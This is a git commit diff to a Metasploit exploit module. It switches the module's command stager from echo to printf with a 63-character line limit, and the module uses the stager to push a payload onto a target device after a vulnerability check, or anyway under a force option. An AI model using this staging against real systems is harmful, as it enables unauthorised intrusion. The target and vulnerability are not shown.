Linemax 63, switch to printf
parent
08b9684c1a
commit
657d52951b
|
@ -116,15 +116,22 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def inject_staged_data
|
||||||
|
execute_cmdstager(
|
||||||
|
flavor: :printf,
|
||||||
|
linemax: 63
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_status("#{peer} - Checking...")
|
print_status("#{peer} - Checking...")
|
||||||
|
|
||||||
if check == Exploit::CheckCode::Appears
|
if check == Exploit::CheckCode::Appears
|
||||||
print_status("#{peer} - Appears vulnerable")
|
print_status("#{peer} - Appears vulnerable")
|
||||||
execute_cmdstager({:flavor => :echo})
|
inject_staged_data
|
||||||
elsif datastore['FORCE_EXPLOIT']
|
elsif datastore['FORCE_EXPLOIT']
|
||||||
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
|
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
|
||||||
execute_cmdstager({:flavor => :echo})
|
inject_staged_data
|
||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
|
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue